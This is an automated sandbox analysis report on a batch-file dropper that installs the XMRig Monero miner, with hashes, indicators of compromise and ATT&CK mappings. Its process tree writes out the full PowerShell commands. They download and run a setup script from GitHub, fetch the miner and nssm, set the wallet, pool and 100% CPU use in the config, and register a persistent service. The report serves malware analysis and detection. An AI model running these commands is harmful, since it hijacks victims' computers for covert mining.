xmrig | a84009aa12f35d93284297647c2714df7f5b0a04d2e0732c689740920ea1421f

Analysis

max time kernel
1199s
max time network
1192s
platform
windows10-1703_x64
resource
win10-20240611-en
resource tags

arch:x64arch:x86image:win10-20240611-enlocale:en-usos:windows10-1703-x64system
submitted
25/06/2024, 16:25

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

vers1.bat
Size

393B
MD5

ece9925dc634f1cc20e3fd7ff7a144bd
SHA1

8816112e72b7b64a668bf7214999d855a7e05bde
SHA256

a84009aa12f35d93284297647c2714df7f5b0a04d2e0732c689740920ea1421f
SHA512

bf80fdf5fa8c00a0ddb773bed073d33b67bf6189b87b803f6fea7071e49dfdeb86cf2142175d9287fbc7bcfd639c42d848e9331f8bc7e68dacaaa33901432243

Score

10^/10

xmrig evasion execution miner

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.bat

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip

Signatures

XMRig Miner payload 64 IoCs

miner

resource	yara_rule
behavioral2/files/0x000700000001aac1-133.dat	family_xmrig
behavioral2/files/0x000700000001aac1-133.dat	xmrig
behavioral2/memory/4696-136-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-408-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-414-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-415-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-416-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-417-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-418-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-419-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-420-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-422-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-423-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-424-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-425-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-426-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-427-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-428-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-429-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-430-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-431-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-432-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-433-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-434-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-435-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-436-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-437-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-438-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-439-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-440-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-441-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-442-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-443-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-444-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-445-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-446-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-447-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-448-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-450-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-451-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-452-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-453-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-454-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-455-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-456-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-457-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-458-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-459-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-460-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-461-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-462-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-463-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-464-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-465-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-466-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-467-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-468-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-469-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-470-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-471-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-472-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-473-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-474-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig
behavioral2/memory/3668-475-0x0000000000400000-0x000000000102B000-memory.dmp	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Blocklisted process makes network request 4 IoCs

flow	pid	Process
2	5028	powershell.exe
7	5028	powershell.exe
11	4304	powershell.exe
13	5012	powershell.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 9 IoCs

pid	Process
4696	xmrig.exe
1832	nssm.exe
2644	nssm.exe
4496	nssm.exe
4616	nssm.exe
416	nssm.exe
4904	nssm.exe
4948	nssm.exe
3668	xmrig.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
7	raw.githubusercontent.com
11	raw.githubusercontent.com
13	raw.githubusercontent.com
1	raw.githubusercontent.com

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\rescache\_merged\4183903823\2290032291.pri	taskmgr.exe
File created	C:\Windows\rescache\_merged\1601268389\715946058.pri	taskmgr.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
204	sc.exe
512	sc.exe
1904	sc.exe
3056	sc.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4540	powershell.exe
4276	powershell.exe
5028	powershell.exe
2988	powershell.exe
3532	powershell.exe
4992	powershell.exe
3384	powershell.exe
5012	powershell.exe
4304	powershell.exe
3924	powershell.exe
4452	powershell.exe
1148	powershell.exe
3704	powershell.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3720	timeout.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
4172	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5028	powershell.exe
5028	powershell.exe
5028	powershell.exe
4304	powershell.exe
4304	powershell.exe
4304	powershell.exe
3924	powershell.exe
3924	powershell.exe
3924	powershell.exe
3532	powershell.exe
3532	powershell.exe
3532	powershell.exe
4540	powershell.exe
4540	powershell.exe
4540	powershell.exe
4992	powershell.exe
4992	powershell.exe
4992	powershell.exe
4452	powershell.exe
4452	powershell.exe
4452	powershell.exe
2988	powershell.exe
2988	powershell.exe
2988	powershell.exe
1148	powershell.exe
1148	powershell.exe
1148	powershell.exe
3384	powershell.exe
3384	powershell.exe
3384	powershell.exe
3704	powershell.exe
3704	powershell.exe
3704	powershell.exe
5012	powershell.exe
5012	powershell.exe
5012	powershell.exe
4276	powershell.exe
4276	powershell.exe
4276	powershell.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2728	taskmgr.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
620	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	5028	powershell.exe
Token: SeDebugPrivilege	4172	taskkill.exe
Token: SeDebugPrivilege	4304	powershell.exe
Token: SeDebugPrivilege	3924	powershell.exe
Token: SeDebugPrivilege	3532	powershell.exe
Token: SeDebugPrivilege	4540	powershell.exe
Token: SeDebugPrivilege	4992	powershell.exe
Token: SeDebugPrivilege	4452	powershell.exe
Token: SeDebugPrivilege	2988	powershell.exe
Token: SeDebugPrivilege	1148	powershell.exe
Token: SeDebugPrivilege	3384	powershell.exe
Token: SeDebugPrivilege	3704	powershell.exe
Token: SeDebugPrivilege	5012	powershell.exe
Token: SeDebugPrivilege	4276	powershell.exe
Token: SeLockMemoryPrivilege	3668	xmrig.exe
Token: SeDebugPrivilege	2728	taskmgr.exe
Token: SeSystemProfilePrivilege	2728	taskmgr.exe
Token: SeCreateGlobalPrivilege	2728	taskmgr.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3668	xmrig.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe
2728	taskmgr.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1300 wrote to memory of 5028	1300	cmd.exe	71
PID 1300 wrote to memory of 5028	1300	cmd.exe	71
PID 5028 wrote to memory of 96	5028	powershell.exe	72
PID 5028 wrote to memory of 96	5028	powershell.exe	72
PID 96 wrote to memory of 3540	96	cmd.exe	73
PID 96 wrote to memory of 3540	96	cmd.exe	73
PID 3540 wrote to memory of 1736	3540	net.exe	74
PID 3540 wrote to memory of 1736	3540	net.exe	74
PID 96 wrote to memory of 860	96	cmd.exe	75
PID 96 wrote to memory of 860	96	cmd.exe	75
PID 96 wrote to memory of 4676	96	cmd.exe	76
PID 96 wrote to memory of 4676	96	cmd.exe	76
PID 96 wrote to memory of 2736	96	cmd.exe	77
PID 96 wrote to memory of 2736	96	cmd.exe	77
PID 96 wrote to memory of 580	96	cmd.exe	78
PID 96 wrote to memory of 580	96	cmd.exe	78
PID 96 wrote to memory of 4624	96	cmd.exe	79
PID 96 wrote to memory of 4624	96	cmd.exe	79
PID 96 wrote to memory of 204	96	cmd.exe	80
PID 96 wrote to memory of 204	96	cmd.exe	80
PID 96 wrote to memory of 512	96	cmd.exe	81
PID 96 wrote to memory of 512	96	cmd.exe	81
PID 96 wrote to memory of 4172	96	cmd.exe	82
PID 96 wrote to memory of 4172	96	cmd.exe	82
PID 96 wrote to memory of 3720	96	cmd.exe	84
PID 96 wrote to memory of 3720	96	cmd.exe	84
PID 96 wrote to memory of 4304	96	cmd.exe	85
PID 96 wrote to memory of 4304	96	cmd.exe	85
PID 96 wrote to memory of 3924	96	cmd.exe	86
PID 96 wrote to memory of 3924	96	cmd.exe	86
PID 96 wrote to memory of 3532	96	cmd.exe	87
PID 96 wrote to memory of 3532	96	cmd.exe	87
PID 96 wrote to memory of 4696	96	cmd.exe	88
PID 96 wrote to memory of 4696	96	cmd.exe	88
PID 96 wrote to memory of 3664	96	cmd.exe	89
PID 96 wrote to memory of 3664	96	cmd.exe	89
PID 3664 wrote to memory of 4540	3664	cmd.exe	90
PID 3664 wrote to memory of 4540	3664	cmd.exe	90
PID 4540 wrote to memory of 3320	4540	powershell.exe	91
PID 4540 wrote to memory of 3320	4540	powershell.exe	91
PID 96 wrote to memory of 4992	96	cmd.exe	92
PID 96 wrote to memory of 4992	96	cmd.exe	92
PID 96 wrote to memory of 4452	96	cmd.exe	93
PID 96 wrote to memory of 4452	96	cmd.exe	93
PID 96 wrote to memory of 2988	96	cmd.exe	94
PID 96 wrote to memory of 2988	96	cmd.exe	94
PID 96 wrote to memory of 1148	96	cmd.exe	95
PID 96 wrote to memory of 1148	96	cmd.exe	95
PID 96 wrote to memory of 3384	96	cmd.exe	96
PID 96 wrote to memory of 3384	96	cmd.exe	96
PID 96 wrote to memory of 3704	96	cmd.exe	97
PID 96 wrote to memory of 3704	96	cmd.exe	97
PID 96 wrote to memory of 5012	96	cmd.exe	98
PID 96 wrote to memory of 5012	96	cmd.exe	98
PID 96 wrote to memory of 4276	96	cmd.exe	99
PID 96 wrote to memory of 4276	96	cmd.exe	99
PID 96 wrote to memory of 1904	96	cmd.exe	100
PID 96 wrote to memory of 1904	96	cmd.exe	100
PID 96 wrote to memory of 3056	96	cmd.exe	101
PID 96 wrote to memory of 3056	96	cmd.exe	101
PID 96 wrote to memory of 1832	96	cmd.exe	102
PID 96 wrote to memory of 1832	96	cmd.exe	102
PID 96 wrote to memory of 2644	96	cmd.exe	103
PID 96 wrote to memory of 2644	96	cmd.exe	103

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\vers1.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.bat', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpCF85.tmp.bat" 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:96
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3540
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:1736
  - - C:\Windows\system32\where.exe
      where powershell
      4⤵
      PID:860
  - - C:\Windows\system32\where.exe
      where find
      4⤵
      PID:4676
  - - C:\Windows\system32\where.exe
      where findstr
      4⤵
      PID:2736
  - - C:\Windows\system32\where.exe
      where tasklist
      4⤵
      PID:580
  - - C:\Windows\system32\where.exe
      where sc
      4⤵
      PID:4624
  - - C:\Windows\system32\sc.exe
      sc stop moneroocean_miner
      4⤵
      Launches sc.exe
      PID:204
  - - C:\Windows\system32\sc.exe
      sc delete moneroocean_miner
      4⤵
      Launches sc.exe
      PID:512
  - - C:\Windows\system32\taskkill.exe
      taskkill /f /t /im xmrig.exe
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4172
  - - C:\Windows\system32\timeout.exe
      timeout 5
      4⤵
      Delays execution with timeout.exe
      PID:3720
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip', 'C:\Users\Admin\xmrig.zip')"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4304
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\xmrig.zip', 'C:\Users\Admin\moneroocean')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3924
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"donate-level\": *\d*,', '\"donate-level\": 1,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3532
  - - C:\Users\Admin\moneroocean\xmrig.exe
      "C:\Users\Admin\moneroocean\xmrig.exe" --help
      4⤵
      Executes dropped EXE
      PID:4696
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3664
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:4540
      - C:\Windows\system32\HOSTNAME.EXE
        
        "C:\Windows\system32\HOSTNAME.EXE"
        6⤵
        
        PID:3320
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"url\": *\".*\",', '\"url\": \"gulf.moneroocean.stream:10004 \",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4992
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"user\": *\".*\",', '\"user\": \"42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4452
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"pass\": *\".*\",', '\"pass\": \"Gkutwgdf\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2988
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"max-cpu-usage\": *\d*,', '\"max-cpu-usage\": 100,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1148
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"log-file\": *null,', '\"log-file\": \"C:\\Users\\Admin\\moneroocean\\xmrig.log\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3384
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config_background.json' | %{$_ -replace '\"background\": *false,', '\"background\": true,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config_background.json'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3704
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip', 'C:\Users\Admin\nssm.zip')"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5012
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\nssm.zip', 'C:\Users\Admin\moneroocean')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4276
  - - C:\Windows\system32\sc.exe
      sc stop moneroocean_miner
      4⤵
      Launches sc.exe
      PID:1904
  - - C:\Windows\system32\sc.exe
      sc delete moneroocean_miner
      4⤵
      Launches sc.exe
      PID:3056
  - - C:\Users\Admin\moneroocean\nssm.exe
      "C:\Users\Admin\moneroocean\nssm.exe" install moneroocean_miner "C:\Users\Admin\moneroocean\xmrig.exe"
      4⤵
      Executes dropped EXE
      PID:1832
  - - C:\Users\Admin\moneroocean\nssm.exe
      "C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppDirectory "C:\Users\Admin\moneroocean"
      4⤵
      Executes dropped EXE
      PID:2644
  - - C:\Users\Admin\moneroocean\nssm.exe
      "C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppPriority BELOW_NORMAL_PRIORITY_CLASS
      4⤵
      Executes dropped EXE
      PID:4496
  - - C:\Users\Admin\moneroocean\nssm.exe
      "C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStdout "C:\Users\Admin\moneroocean\stdout"
      4⤵
      Executes dropped EXE
      PID:4616
  - - C:\Users\Admin\moneroocean\nssm.exe
      "C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStderr "C:\Users\Admin\moneroocean\stderr"
      4⤵
      Executes dropped EXE
      PID:416
  - - C:\Users\Admin\moneroocean\nssm.exe
      "C:\Users\Admin\moneroocean\nssm.exe" start moneroocean_miner
      4⤵
      Executes dropped EXE
      PID:4904

C:\Users\Admin\moneroocean\nssm.exe
C:\Users\Admin\moneroocean\nssm.exe
1⤵
- Executes dropped EXE
PID:4948
- C:\Users\Admin\moneroocean\xmrig.exe
  "C:\Users\Admin\moneroocean\xmrig.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:3668

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2728

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

